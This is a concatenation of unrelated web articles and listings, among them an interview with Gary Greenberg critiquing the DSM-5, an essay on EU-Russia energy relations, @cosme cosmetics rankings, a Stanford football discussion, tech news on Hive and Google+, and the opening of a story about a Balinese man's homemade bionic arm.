“The Chinese are forming partnerships with megaproducers so everybody feels nice and calm,” he said. “Instead of trying to buy land directly, they are saying, ‘Here’s $10 million at below-market interest rate. You go buy more land. You go buy equipment. You go do what you do well. But we have the option of setting a price and getting paid back in soybeans if we need them.’ “
Mr. Melby said Brazilian farmers want to sell to China but are cold to the idea of foreigners making speculative fortunes off their crops.
“The only way this will work is if the Chinese have boots on the ground,” he said. “They need base camps with dynamic Chinese individuals in country, learning Portuguese and constantly working the angles.
“It’s about having a presence. It’s about going to church together, playing soccer and drinking beer together. That’s how trust is built here.”
Others hold a different view of Chinese boots on the ground.
Mr. Ellis, of National Defense University, said the greatest challenge to U.S. security posed by China’s activities in South America involves Chinese funds helping to prop up “populist regimes” such as that of Venezuelan President Hugo Chavez.
He said China’s investments could turn South American countries into “economic vassal states setting the stage to create a crisis that the U.S. and their neighbors will have to deal with at a later point in time.”
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.Editor's Note: The post originally appeared on The Fix, a Pacific Standard partner site.
On May 22, the American Psychiatric Association will release the fifth version of the Diagnostic and Statistical Manual of Mental Disorders—the DSM-5. The last version, the DSM IV, was published in 1994 and has provided the clinical terms for diagnoses that allow for insurance payments, treatment costs, and public support for such afflictions as Asperger's and grief—all of which, among a host of established disorders, are set to be altered by the new version.
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Last week, Blue Rider Press published Gary Greenberg's The Book of Woe: The DSM and the Unmaking of Psychiatry, a powerful critique of the entire DSM methodology. Greenberg is a practicing psychotherapist who also authored Manufacturing Depression: The Secret History of an American Disease and The Noble Lie. He has been referred to as "The Dante of our Psychiatric age," by Errol Morris, and blogs about the DSM for the New Yorker. With The Book of Woe, written during and after his own participation in the revision process of the DSM-5, Greenberg doesn't just paint the DSM as irrelevant, but as an arbitrary and totalitarian influence in the treatment of mental and emotional distress. Greenberg makes an unsparing case against the DSM’s hold on the naming rights to our psychic suffering.
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Surviving Rape and Staying Sober
Too Drunk to Rock?
Making Amends to My Dead Father
What is the most disturbing aspect of the DSM-5 to you?
The most disturbing aspect is not unique to the DSM-5, but intrinsic to any DSM: that a private guild—the American Psychiatric Association (APA)—owns such an important public trust. The DSM plays a significant role in determining who gets treatment, what drugs get approved, what research gets funded, who gets special education services, and the disposition of criminal cases. The APA represents only one of many mental health professions, is rife with conflicts of interest with the pharmaceutical industry, has its own, scientifically questionable approach to treatment, it also stands to make hundreds of millions of dollars from the manual and associated products. That's unseemly. But even worse, it leaves the public at the mercy of people who are not accountable to anyone except their own organization. It's the worst kind of privatization.
What effect do you see the DSM-5 having on treatment for drug and alcohol addiction?
I'm not sure the DSM-5 will have any direct effect on treatment; the DSM-5 is not a treatment manual. But any DSM has a major indirect effect on treatment: It provides the diagnoses that are the tickets to treatment resources. To put it more concisely: money. The DSM-5 will most likely eliminate the categories of Substance Abuse and Substance Dependence in favor of a new super-category of Substance Use Disorder. Qualifying for this diagnosis may be easier than for the DSM-IV diagnoses, largely because the number of criteria a patient has to meet has been reduced. Some studies indicate that this will result in a large increase in prevalence. If General Motors comes out with a new car, that doesn't change the number of drivers, and if the APA comes out with a new diagnosis, that doesn't change the number of people who will qualify for a mental disorder diagnosis. Whether this happens, and if it does, whether it's a bad thing (treatment resources are overburdened by an influx of new patients) or a good thing (more people get treatment), or whether it will have any effect at all, remains to be seen.
You say that psychiatry should not have a monopoly on the diagnoses and treatment of human suffering, such as addiction. Who else should be involved? Based on what “expertise” or “interests”?
Diagnosis and treatment are really two separate issues. I don't think psychiatry claims to have a monopoly on treatment, although it does have (mostly) a monopoly among mental health providers on drug treatments. On this, I think I agree with the psychiatrists. I'm not sure that anyone else besides people who have been to medical school should be prescribing drugs. As for diagnosis, I don't think psychiatric diagnosis is necessary, at least not until psychiatry has the knowledge to render diagnoses on the same basis as other medical specialties. Psychiatrists don't treat mental disorders. They treat symptoms. So they don't really need diagnoses to do their job. But if there has to be psychiatric diagnosis, then it should be in the hands of a public agency, one that doesn't have a profit motive in fashioning a manual, one that is not wedded to its own professional interests, and one that is not fooling around with the drug industry.
"I tell my patients the truth: that if they want to use their insurance, I have to diagnose them with a mental disorder, and that this diagnosis will stay with them for the rest of their lives."
Addiction is increasingly being recognized as a brain disease. One aim of the DSM-5 is said to be to bring diagnoses of substance use disorders into line with the burgeoning neuroscience about addiction. Does the DSM-5 meet its goal?
The only way in which DSM-5's addictive disorders section reflects neuroscience is in its reliance on "craving" as one of the two diagnostic criteria for substance use disorder. This change reflects the belief that craving is a single phenomenon with a particular brain chemistry. While there are some indications that this is the case, it is far from proven. 50 or 100 years from now, I am sure our understanding of the brain will seem as laughable as phrenology seems to us. So for the moment, popping people into PET scanners or MRI machines strikes me as wishful thinking multiplied by greed. The fact that addiction is increasingly being recognized as a brain disease does not mean that addiction is—or is best understood as—a brain disease. I don't doubt that is the direction in which research is moving, but I'm not sure this means we are approaching the truth about addiction, or about the brain and its relationship to the mind.
What is your opinion on the effect of 12-step based programs on recovery—the spiritual solution rather than the medical?
I think the 12-step program is useful for many people, and I have both friends and patients who benefit from it. I also think it is only one of many ways that people can stop using the drugs they are addicted to, and is surely not the only "spiritual" approach. Nor is it necessarily correct to think of it in contradistinction to the medical approach. After all, the 12-step program owes much of its success to a concerted effort on the part of doctors, including psychiatrists, to popularize the disease model of addiction, which Alcoholics Anonymous in many respects originated.
The DSM-5 includes the first “behavioral disorder”—compulsive gambling—in the Addiction section. Proponents say that compulsive behaviors have very similar effects on the brain as substances do. Critics say this is opening the door to the medicalization of more and more of everyday life. What do you think?
I think that long before the behavioral disorders opened the door to medicalization of daily life, that goal had been accomplished. The struggle of psychiatry since 1980 has not been to fashion more and more illnesses, but rather to convince us that when we are unhappy, anxious, compulsive, etc., we have a mental illness. In this they have been successful, at least to judge from the vast increase in numbers of people seeking treatment. It's a predictable outcome of the DSM approach to mental suffering.
Do you think 12-step culture might be overreaching with its own set of expanding diagnoses (shopping, varieties of sex addiction) or do you find them valid?
The idea that any compulsive behavior marked by craving is an addiction, and that addiction is a disease, is a very powerful one. It speaks to confusions deep in our culture about desire and satisfaction, about consumption and regret, about having and not-having. So I don't think it's fair to blame this tendency on 12-step culture. It's obviously an idea whose time has come. But is it valid? Not if that means that sex addiction or Internet use disorder are diseases in the same way that cancer or diabetes are diseases. Addiction will remain poorly understood so long as we stay wedded to a strictly medical model (and I include in that the 12-step model, which, as I said, is also a disease model).
You write about the "magic bullet" effect of medication, an easy option for those addicts with a psychiatric diagnosis who could just do 12-step work.
I'm not sure it is useful to set up a polarity between "taking drugs" on the one hand and "doing the work" on the other. While drugs can be an "easy way out," they are not always. Even Bill Wilson thought there was some value to LSD, and sometimes the absolute abstinence from all drugs, not just the drug to which a person has become addicted, that is required in some 12-step programs is counterproductive.
Some critics of the revision say that the expansion of diagnoses is a big boon for the drug industry, since there will be more people to medicate. Psychiatry is the darling of the drug industry. Do you believe that the DSM-5 was guided by this same self-interest?
Yes, of course. Psychiatry long ago hitched its wagon to the medical star, and increasingly that means to the neuroscience star. The failure of DSM-5 to develop a brain-based nosology is only the latest embarrassment that has resulted from this dogged determination to prove that psychiatry is just like the rest of medicine—real doctors treating real diseases. Too bad the profession has turned its' back on what once made it unique and valuable: its focus on the mind.
As a psychotherapist, do you use the DSM-5?
In my practice, it has virtually no clinical value. Its primary value is its ability to help patients use their insurance to pay for therapy. I tend to discourage patients from doing this. I'd rather make less money than participate in a practice I don't believe in. So I tell them the truth: that if they want to use their insurance, I have to diagnose them with a mental disorder, and that this diagnosis will stay with them for the rest of their lives. If they want to go ahead with it anyway, then we talk about the diagnosis I am going to use to make sure that they fully understand the implications of diagnosis, including the fact that DSM diagnoses are not real diseases, but rather constructs.CALGARY — For the second |
, this car was imported as soon as it met the age requirements, and a copy of its importation declaration is included in the ad. Mileage sits at the 80K mark, while the car (production number 146 of 500) appears to be in excellent cosmetic condition.The $205,000 price tag is something of a shocker, however. Non-Evo versions of the 190E Cosworth can be found for a fraction of that price. Evidently, if you want to be the first on your block—or maybe in the country—with this rare machine, it's gonna cost.In order to avoid a wrong diagnosis and misleading or even harmful remedies the problem of energy relations between Russia and the EU needs to be framed correctly. The current tensions are not about the ‘effects the crisis in Ukraine has on EU energy policy,’ they are about ‘the effects of Russia’s policy towards Ukraine,’ and, as a matter of fact, about the future of EU-Russia energy relations under new political circumstances. This is not a trivial modification, as it changes the picture from a local transit crisis (which may be solved with ad hoc solutions or the help of mild weather) to an overall supply crisis. Europe has begun to realise this – and is finally facing up to what used to be unthinkable.
Symbolic, in this context, are the “gas stress tests” the European Commission ordered last year – that is, simulations of the effects a long-lasting disruption of Russian gas supplies would have. This exercise demonstrated that regarding relations with its largest single supplier the EU’s risk assessment and threat perception has changed profoundly. Obviously, there are still differences among member states about specific issues such as South Stream or transborder reverse flows, yet those are manageable squabbles and the EU’s general outlook has become unified. Russia, through its own actions, has turned from the EU’s potential provider of energy security (something, many Western politicians used to claim) into one of the major challenges.
By and large, Europe’s security of supply policy has ceased to be just about the perceived interdependence of consumer and supplier, an approach that had been based on the unfounded assumption that more pipelines mean less conflict. While infrastructure is key to becoming interconnected, this is not the same as interdependence, which requires a common understanding and acceptance of rules, – something that was often not the case. Most EU energy policymakers have finally come to realise that Russia is not Norway, meaning, Russia is not a predictable, credible, and co-operative trading partner. Despite the similar contribution of the two countries to the EU’s energy mix there are profound differences – differences that show that, for proper energy governance, the nature of political and economic systems matters a lot. Authoritarian Russia with its disregard for the legal tenets of international relations is not a reliable partner when it comes to energy regulations and norms. The annexation of Crimea has brought to a halt the quest to put EU-Russia energy co-operation on a mutually beneficial legal basis – at least until the status quo ante is restored. For various reasons, Russia will most likely remain the EU’s major oil and gas supplier, however the new political situation requires that the EU redesign its relations with Russia.
The conflict in Ukraine has shown that the EU’s energy security depends largely on strengthening its own resilience. The EU-wide, regional and national energy systems have to be strengthened, enabling them to absorb external shocks that are becoming increasingly likely. This means strengthening the interdependence between EU member states by expediting the legal and physical integration of markets. Only once a functioning and transparent internal energy market is established will the EU be able to pursue an effective policy towards suppliers. Also, the EU needs to stick to its own rules, meaning measures need to be implemented and laggards and “free riders” have to be punished. It is of utmost importance to upgrade the crisis management mechanisms, which, by and large, should be based upon mandatory risk and cost sharing in case of an emergency. The conclusions of the gas stress tests were clear: The costs of an energy supply crisis can be minimised through co-operation and solidarity. Yet, since it would be too optimistic to rely on political altruism only, proper mechanisms should be set up under amended security-of-gas-supply regulations.
Russia’s aggression, the annexation of Crimea and the destabilisation of the Donbass, and the EU’s subsequent sanctions against Russia mark a significant change in political relations and thus must and will have an impact on long-term energy relations. There are calls to consider energy co-operation as separate from foreign and security policy, however, no matter how well intentioned this may be, it is unrealistic. As a return to business as usual is highly unlikely, it is unfeasible to surge ahead with any common energy projects. The EU will have to perform a fundamental overhaul of its energy relations with Russia; for this, the ongoing debate on an EU Energy Union presents an excellent opportunity.It’s time for the first half-year best cosmetics ranking of 2014 @cosme, Japanese largest and most popular (and very influential in Japan) beauty community site.
Aside from writing comments, reviewers on @cosme also give points (total worth 7 points) to each product they review. This year’s ranking is calculated basing on the average of the number of reviews each product has collected and its overall points between November 1, 2013 to April 30 2014. 4,038 products have been collected during this time period.
SKINCARE
Makeup Remover / Cleanser
☆ 1st ☆ FANCL Mild Cleansing Oil (2013 formula)
☆ 2nd ☆ IGNIS Hot Cleanse
☆ 3rd ☆ Biore Skin Care Facial Foam Moisture (2014 formula)
Lotion (a.k.a. Toner)
☆ 1st ☆ ORBIS =U Moisture Up Lotion
☆ 2nd ☆ Clinique Even Better Essence Lotion
☆ 3rd ☆ Shiseido d Program Acne Care Lotion W
Beauty Serum
☆ 1st ☆ COSME DECORTE Whitelogist MX
☆ 2nd ☆ POLA Signs Shot
☆ 3rd ☆ GUERLAIN Blanc de Perle ADVANCED WHITE P.E.A.R.L. DROP
Moisturiser
☆ 1st ☆ Dr.Ci:Labo Aqua-Collagen-Gel Enrich Lift EX
☆ 2nd ☆ CHANEL Le Blanc The Original Cream TXC
☆ 3rd ☆ Za Concentrate C Cream
Sunscreen
☆ 1st ☆ ANESSA Perfect Essence Sunscreen A+N
☆ 2nd ☆ SEKKISEI Sun Protect Essence Gel
☆ 3rd ☆ ORBIS UV Cut Sunscreen On Face Beauty
BASE MAKEUP
Makeup Base
☆ 1st ☆ LANCOME UV Expert XL-Shield BB Complete
☆ 2nd ☆ MAQuillAGE Beauty Keep Base UV SPF27 PA+++
☆ 3rd ☆ COFFRET D’OR Make Up Base UV SPF50+ PA+++ (shade 01)
→Set (with free mini Rouge Essence palette) ¥2,570 (approx US$25.36) from Rakuten: HERE
Powder Foundation
☆ 1st ☆ ESPRIQUE Beautiful Stay Pact UV SPF22 PA++
→ Set, ¥2,877 (approx US$28.39) from Rakuten: PO-205 / BO-300 / BO-305 / BO-310 / OC-405 / OC-410 / OC-415
☆ 2nd ☆ COFFRET D’OR Premium Silky Pact UV
→ Refill, ¥2,574 (approx US$25.40) from Rakuten: BE-C / BE-D / SOC-C / OC-B / OC-C / OC-D
☆ 3rd ☆ ALBION White Chiffon
Liquid Foundation
☆ 1st ☆ INTEGRATE Mineral Watery Foundation N
☆ 2nd ☆ MAQuillAGE True Liquid Long Keep UV SPF30 PA+++
→ ¥3,142 (approx US$31.01) from Rakuten: OC 00 / OC 10 / OC 20 / OC 30 / PO 10 / BO 10 / BO 20
☆ 3rd ☆ LANCOME Blanc Miracle Bright Light Creator
Powder
☆ 1st ☆ COSME DECORTE AQ MW Face Powder
☆ 2nd ☆ GUERLAIN Météorites Perles
☆ 3rd ☆ SUQQU Smoothing Face Color
COLOUR MAKEUP
Eye Shadow
☆ 1st ☆ LUNASOL Sand Natural Eyes
→ ¥4,320 (approx US$42.63) from Rakuten: HERE
☆ 2nd ☆ AUBE Couture Designing Impression Eyes II
→ ¥2,647 (approx US$26.12) from Rakuten: 501 / 502 / 503 / 504
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→ ¥2,064 (approx US$20.37) from Rakuten: RD312 / PK323 / RS554
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Lipgloss
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☆ 3rd ☆ Elegance Sleek FaceStanford football fans nearly experienced their ultimate Halloween nightmare on Saturday night when then-No. 8 Stanford (7-1, 6-0 Pac-12) narrowly beat unranked Washington State (5-3, 3-2) after the Cougars missed a 43-yard field goal with four seconds left in the game. Potential Heisman candidate Christian McCaffrey was held to only 107 rushing yards against the Cougars, his lowest number since Stanford played USC on Sept. 19. Additionally, Stanford was held out of the endzone for the entire first half and made it into the red zone only once, which resulted in a field goal and the entirety of the team’s points for the first half. So what exactly went wrong for the Cardinal against Washington State, and are they at risk for a similar breakdown at Colorado this Saturday? We asked Daily sports writers Laura Stickells, Alexa Philippou and Taylor Duarte to share their thoughts.
Laura Stickells: I’ve heard plenty of people over the past few days try to attribute Stanford’s struggles against the Cougars to overconfidence or the weather, and those elements could have been contributing factors, but I have a hard time believing that they played the biggest role.
The Washington State linemen jamming the box, limiting McCaffrey to only 51 rushing yards in the first half, were definitely Stanford’s greatest obstacle. Hogan was then forced to use his arm, which was a problem itself, because Hogan’s not out there to throw 60 passes a game like Wazzu quarterback Luke Falk. However, in the second half, the Cougars’ strategy became their own poison. They were so dialed in on McCaffrey that just a simple fake could send all the linemen running in the wrong direction, leaving the field open for a Hogan touchdown. The Washington State defense had to respond by spreading out in order to block Hogan too, leaving more lanes open for McCaffrey.
But I don’t think Stanford will struggle in the same way against Colorado as it did against Washington State. Colorado is coming off a close 35-31 loss to No. 24 UCLA, losing its 20th straight game against a ranked team. So why did this game come out so close? UCLA didn’t have the chance to make big plays because Colorado controlled the ball for over 41 minutes, completely wearing out the UCLA defense. Sound like a familiar strategy?
That’s why the game against Colorado will likely come down to the guys in the trenches. If the Stanford defense can hold Colorado on third downs, keeping Stanford in control of the ball, the Cardinal should return to The Farm still a one-loss team. And I just don’t see Colorado, who is ranked 11th in the Pac-12 in rushing defense, limiting Stanford’s power run game.
Alexa Philippou: While many Cardinal fans were initially shocked to see the team struggle against the Cougars, particularly on the offensive front, there were several factors that made this almost a disaster in the making.
For whatever it’s worth, Stanford has historically not fared too well in road games outside the state of California — not only this past year at Northwestern, but at Oregon, Arizona State and Notre Dame last year and at Utah two years ago. Not to mention, the game on Saturday was played in heavy rain and 52-degree temperatures, conditions that the team has not played in all year and that most teams — let alone the Cardinal, who are blessed with sunny California weather most of football season — rarely see.
But it wasn’t simply the environment that made a difference. Washington State’s defense was able to pressure Hogan and stop McCaffrey more so than other opponents have been able to do this season. Was that a matter of the offensive line playing uncharacteristically poorly or one of Wazzu’s defense playing out of its mind? That may be difficult to determine, but Wazzu’s defenders certainly played aggressively from the start, which makes me think it was more of the latter.
One could argue that Stanford perhaps didn’t adjust soon enough to Wazzu’s defense’s ability to stop McCaffrey on the run and take away several options downfield. Maybe it shouldn’t have taken the team until halftime to get its offense together. But eventually, the team did make those adjustments, something that it hasn’t always done historically and has led to dropped games against teams it could’ve beaten.
While many people pass off the Buffs as the clear underdog, the issue that does scare me about Colorado is the early start time, something that was likely part of the reason why Stanford came out so flat against Northwestern. This game will be played at 10 a.m. PT, and no matter how much the team tries to prepare for an early start, it’s undeniable that it’ll be a different experience, especially since the team has played a slew of Saturday evening games this season.
Taylor Duarte: “Success breeds complacency. Complacency breeds failure.” – Andy Grove
Frankly, Stanford indeed looked complacent and ready to fail Saturday night against a Wazzu team looking for the upset. Flashbacks of the meager offensive performance against Northwestern came flooding back.
So what went wrong? Maybe it was the weather in Pullman. The Cardinal don’t really know what a torrential downpour is in drought-ridden California. Maybe Stanford just got too comfortable with success. Demolishing teams had become commonplace, so the team forgot the Washington State air raid had some of its own offensive success.
And then there was Stanford’s offensive line. The Tunnel Workers’ Union looked a little disbanded that night. They were weak on the protection, allowing 4 sacks, and created limited holes for standout Christian McCaffrey to produce another 300-yard night. McCaffrey was limited to just over 100 yards rushing, stunting his highlight reel, and we really don’t want that. But on the heels of true freshman nickelback Quenton Meeks, who had 2 crucial interceptions, and quarterback Kevin Hogan’s 2 rushing touchdowns, the Cardinal finally showed some promise in the second half. The resilience shown by the team ultimately kept the season alive.
When the Cardinal venture to Colorado this weekend, Stanford must remember that its postseason hopes could have been derailed by a field goal. A similar meltdown against the Buffs seems unlikely if the team has a short memory and is not haunted by its Halloween performance. This may have been just the scare Stanford needed to propel it through the rest of the season with dominance. Complacency is its only enemy.
Contact Laura Stickells at lauraczs ‘at’ stanford.edu, Alexa Philippou at aphil723 ‘at’ stanford.edu and Taylor Duarte at taylor3 ‘at’ stanford.edu.Get the biggest Middlesbrough FC stories by email Subscribe Thank you for subscribing See our privacy notice Could not subscribe, try again later Invalid Email
Boro didn't do any last gasp business on Deadline Day but cheeky chap Lee Tomlin did his best to provide the entertainment.
The No.10 was linked with a number of Premier League clubs in the last week of the window and although Aitor Karanka revealed he wasn't remotely interested in selling any of his star assets, that didn't stop Tomlin having some fun on Twitter.
The 26-year-old started fishing for bites early on in the evening when he tweeted: "It's snowing bad in Leicester."
And that was the just the start for the wind-up merchant who continued to tease Boro fans.
Worry not. It wasn't long before the in-form playmaker reassured Boro fans that he was going nowhere, but only after he'd received a bit of stick from concerned fans.
On the whole, most Boro fans took it in good spirit and it wasn't long before virals started doing the rounds.
Boro fan and Twitter regular @thepinkponce came up with the best of the night.
But Tomlin wasn't finished. In fact, his best was still to come.
After settling down on the transfer talk, Tomlin, clearly still on a high after his magical second half display at the Etihad when he almost scored the goal of the season, then tweeted this beauty.
At least he gave us something to talk about on an otherwise quiet deadline day.COLUMBUS, Ohio (AP) — A man accused of writing anti-Muslim comments on an Ohio mosque has been charged with committing a hate crime.
Franklin County prosecutors say Todd M. Williams was indicted Thursday on charges of ethnic intimidation, desecration and criminal mischief in the vandalism of the Ahlul-Bayt Society Islamic Center in suburban Columbus last month.
Prosecutor Ron O'Brien says security camera video at the mosque shows the 44-year-old Hilliard man writing comments including "Allah Is A Fraud Dum Dums" on the mosque's glass doors.
The hate crime charge of ethnic intimidation and the criminal mischief charges are misdemeanors. The desecration charge is a felony.
Township police say they don't know of any motive.
Court records don't show an attorney for Williams. No telephone number for him can be found.Not just socializing, I should note, but socializing in public, an implicit reminder to the DOJ and intelligence community that Hillary Clinton’s prospects are important to him and his party. When was the last time the subject of an FBI investigation that’s on the front page of newspapers across the country got to party with the president the same week?
This is Obama fully embracing the DGAF atmosphere of the end of his second term. Who cares if there’s an appearance of impropriety here? What are you going to do, impeach him?
President Barack Obama and presidential candidate Hillary Clinton chatted briefly Saturday evening in Martha’s Vineyard, according to a White House official. The two were both guests at Civil Rights activist and long-time Democratic Party fixture Vernon Jordan’s 80th birthday party. The Obamas have known Jordan and his wife, Ann, for 20 years. Jordan served as a close adviser to President Bill Clinton, who was also in attendance, during his time in office… Earlier in the day, Obama hit the links with the former president and birthday boy Vernon Jordan at Farm Neck, where Obama has spent much of his time since arriving on the island last weekend. Former U.S. Trade Representative Ron Kirk rounded out the foursome.
An AP photographer was on hand at the golf course on Saturday to capture the moment of solidarity and beam it out on news wires across the world. Right around the time that was happening, Ross Douthat’s new column about Herself’s de facto legal immunity was going live at the NYT website: “While the email scandal is a serious business, I simply do not believe that the Obama Justice Department is going to indict the former secretary of state and Democratic front-runner for mishandling classified information, even if the offenses involved would have sunk a lesser figure’s career or landed her in jail.” This weekend’s photo op ought to confirm that, for the simple reason that Obama wouldn’t allow himself to be seen associating with the Clintons if he thought there was any real chance that the axe might be about to fall on them. As Douthat says, as long as Hillary’s not charged, this whole episode is just another Clinton scandal — dubious, reeking of above-the-law entitlement, but lacking the sort of smoking-gun evidence of willful wrongdoing that would force prosecutors to indict her. If anything, her supporters will enjoy the spectacle of her and Bill outfoxing those darned right-wingers again. What better evidence of Hillary’s qualifications for the presidency is there than her cunning in evading consequences for her corruption?
Actually, I don’t think the DOJ was Obama’s main intended audience for this back-slapping pageant with Bill. Clearly they were an audience — Obama knew what sort of signal this would send to investigators — but there was an important message he wanted to deliver to someone else.
As Joe Biden considers a possible run for president, the donors he’d need to be viable appear to be ruling him out. Not all 400 people who gathered at a waterfront estate here on Sunday have been die-hard supporters of Hillary Clinton. In fact, many of them recall a rough summer eight years ago when Martha’s Vineyard’s liberal elite split their loyalties between Clinton and Barack Obama. But on Sunday, they were reveling in party unity and had little appetite for Biden to complicate the field, despite their affection for him… Even Democrats who preferred Obama in 2008 said they were giddy about the possibility of electing the first woman president. They were also especially proud of the limited Democratic field in contrast to the chaotic, 17-way Republican brawl. That’s why, they said, Biden should reject the inclination to run as he looks for possible paths to the nomination during the next few weeks.
Obama didn’t attend Hillary’s fundraiser yesterday on Martha’s Vineyard, no doubt because he didn’t want to insult Biden by seeming to formally side with her at a campaign event while he’s mulling whether to jump in, but the buddy-buddy golf session with Bill is enough of a signal. Per the NYT, lots of administration higher-ups who like and respect Biden are hoping he passes on running for fear that he’ll end up dividing the party and losing badly to Hillary anyway. Those who talked to the Times for that story were obviously trying to send him a message. Obama’s pattycake session with the Clintons this weekend was in the same vein, his way of showing Biden that he won’t be allowed to run as Obama’s true heir apparent.
Via the Free Beacon, here’s Bob Woodward marveling that the hunt for Hillary’s e-mails reminds him a bit of trying to get Nixon to turn over the tapes. Exit question: If George W. Bush had gone golfing with Scooter Libby — or Mrs. Scooter Libby, if you want to keep this analogy perfectly square — during the investigation phase of that scandal, involving a far less serious breach of national security, how would that news week have gone?Nicky Hayden says his Red Bull Honda squad still has plenty of improvements to make with the new Fireblade before targeting the sharp end of the World Superbike grid.
After the two winter tests at Jerez and Portimao with the all-new Fireblade CBR1000RR SP2, Hayden stressed a lengthy development path ahead for Red Bull Honda and with a rain-interrupted day one at the Phillip Island test plus technical issues the American rider was unable to shift through his full testing programme.
The former MotoGP world champion, who ended the final test 14th overall and 1.5 seconds off of pacesetter Jonathan Rea, says inconsistent feeling from the new Honda also hampered his own progress with the main issues still surrounding electronics and power delivery.
"Luckily today we had much better weather than yesterday, but we picked up more or less where we left off at Portimao," Hayden said. "Unfortunately, we were not able to close the gap to the front like we wished we had and there is still some work to do with the electronics and the driveability.
"We also experienced some inconsistency from lap to lap, which didn't help me in giving a proper feedback to the team. We will look through the data in order to try and find something in time for Friday. We need to focus on the positives and be realistic on what there is to improve the most, then we'll see what happens."4-Season Tents Product Information
Up for sale is a Eureka! Gaspesie 2XT 2-Person, 4-Season tent. I have only used this tent three times, six nights total. It is an amazing condition, and is an amazing tent. It ventilates extremely well, is quite roomy, and the 2 vestibules make life so much easier. Backpacks can be stored in the smaller vestibule, shoes and anything else in the bigger one. There is also ample space int he large vestibule to cook on rainy days if need be (At your own risk). Below are the specs, and link to the manual. Comes with all the original stuff sucks, and pegs. Everything is there.
FOUR SEASON Gaspesie 2XT - Eureka Tents Canada
Category - 4 seasons
A new design for true four season tenting.
Full interior mesh walls with zip up four season panels make the Gaspesie excellent in all seasons.
Excellent wind and snow load stability
Hoop supported front vestibule supplies 11 sq. feet/1.2 sq meter of protected storage and entry space.
A rear vestibule allows for added gear storage and cross ventilation.
Three poles comprise the main frame offering solid wind and snow loading capability.
Fly 75D polyester Ripstop 1800mm
Floor 70D nylon 3000mm
Breathability 68D polyester /40D noseeum mesh
Frame 7001 alloy aluminumBRITISH GAS SUBSIDIARY Hive has made a number of announcements surrounding its connected home platform.
The company confirmed at an event in London that it is finally expanding beyond the smart thermostat, which is already in 200,000 homes across the UK, to create a full home automation platform.
Kass Hussain, director of connected homes at Hive, explained that the company was keen not to "bamboozle" the public with a range of products too soon.
He said that up to now home automation had been the domain of the "very wealthy" and "geeky" types, and that the slow, staged rollout of its product line aimed to bring the Internet of Things (IoT) to a wider audience.
The redesigned Hive Active Heating 2 Thermostat includes a new "iconic" design by Yves Behar, who was instrumental in the creation of SodaStream and Jawbone.
The device comes in a range of colours designed to blend seamlessly into the paintwork, and the display is hidden until activated. It also has a big knob. Priced at £249, ordering begins now with fitting next month.
A number of new features are being rolled out to Hive as part of the upgrade which will be available to existing Hive customers too.
These include a Holiday Mode, Heating Boost, Multi-Zone support and flexibility in the number of off-and-on periods in a day.
Hussain confirmed that Hive 1 users will also be offered a preferential upgrade rate of £99 for the new version. "These are our early adopters, and we want to do right by them," he said.
The launch forms part of a rollout of a more complete IoT offering. At present, this will consist simply of door and window sensors, "presence" sensors and smart plugs.
Lighting will be rolled out in the autumn, with more features such as security cameras further down the line.
Hive will use Honeycomb, the platform acquired with the purchase of AlertMe which co-developed the Hive.
Honeycomb, put bluntly, is yet another proprietary standard that encourages vendor lock-in and reflects Hive's position of going after a new audience for automated home products rather than preaching to the converted.
However, The INQUIRER can confirm that Honeycomb is designed to be an open platform and it is expected that an API will be released later this year to enable the coding of bridges between it and existing systems like Z-Wave and ZigBee, or apps such as IFTTT.
The news will have been bolstered by recent announcements from Nest of a brand refresh which adds little to the existing range, giving Hive a chance to corner the UK market, although Honeywell and Fibaro continue to snap at its heels. µNEW YORK (CNNMoney) -- Angry rants about the demise of corporate culture aren't reserved only for ex-Goldman Sachs employees. Microsoft-turned-Google engineer James Whittaker -- now once again a Microsoft employee -- fired off a scathing blast Tuesday on a Microsoft blog about why he left Google.
"My last three months working for Google was a whirlwind of desperation," wrote Whittaker, who headed an engineering team for social network Google+. "The Google I was passionate about was a technology company that empowered its employees to innovate. The Google I left was an advertising company with a single corporate-mandated focus."
Whittaker, who joined Google in 2009 and left last month, described a corporate culture clearly divided into two eras: "Before Google+," and "After."
"After" is pretty terrible, in his view.
Google (GOOG, Fortune 500) once gave its engineers the time and resources to be creative. That experimental approach yielded several home-run hits like Chrome and Gmail. But Google fell behind in one key area: competing with Facebook.
That turned into corporate priority No. 1 when Larry Page took over as the company's CEO. "Social" became Google's battle cry, and anything that didn't support Google+ was viewed as a distraction.
"Suddenly, 20% meant half-assed," wrote Whittaker, referring to Google's famous policy of letting employees spend a fifth of their time on projects other than their core job. "The trappings of entrepreneurship were dismantled."
Whittaker is not the first ex-Googler to express that line of criticism. Several high-level employees have left after complaining that the "start-up spirit" of Google has been replaced by a more mature but staid culture focused on the bottom line.
The interesting thing about Whittaker's take is that it was posted not on his personal blog, but on an official blog of Microsoft (MSFT, Fortune 500), Google's arch nemesis.
Spokesmen from Microsoft and Google declined to comment.
The battle between Microsoft and Google has heated up recently, as the Federal Trade Commission and the European Commission begin to investigate Google for potential antitrust violations. Microsoft, with its Bing search engine, has doubled its share of the search market since its June 2010 founding, but has been unsuccessful at taking market share away from Google.
Microsoft is increasingly willing to call out Google for what it sees as illicit behavior. A year ago, the software company released a long list of gripes about Google's monopolistic actions, and last month it said Google was violating Internet Explorer users' privacy.
Despite his misgivings about what Google cast aside to make Google+ a reality, Whittaker thinks that the social network was worth a shot. If it had worked -- if Google had dramatically changed the social Web for the better -- it would have been a heroic gamble.
But it didn't. It's too early to write Google+ off, but the site is developing a reputation as a ghost town. Google says 90 million people have signed up, but analysts and anecdotal evidence show that fairly few have turned into heavy users.
"Google was the rich kid who, after having discovered he wasn't invited to the party, built his own party in retaliation," Whittaker wrote. "The fact that no one came to Google's party became the elephant in the room."Media playback is unsupported on your device Media caption I Wayan Sumardana claims to have made a bionic arm out of junk at home
When a man in a small village in Bali claimed to have made a functioning bionic arm out of scrap metal at home he became a local sensation. But even as serious doubts emerged about the technology behind it, BBC Indonesian's Christine Franciska found his fellow villagers remained enthralled by the mystical aspect of his story.
It takes two hours from the Balinese capital Denpasar to reach Nyuhtebel Village in Karangasem, the home of the man who has been dubbed "cyborg" or "Iron Man" by the local press.
I Wayan Sumardana, a 31-year-old welder in a small village in Bali, said he woke up one morning six months ago to find he had lost all feeling in his left arm.
"At first, I thought it was a light stroke, but my doctor couldn't explain what was happening. He said go to the shaman, but the shamans gave up too," he said.
He described his state of limbo after the event.
"For two months I couldn't work at all. I was stressed out. I had no money left. Then I got the idea to create this machine."
Image caption Six months ago Mr Sumardana woke up to find out that he had lost feeling in his arm
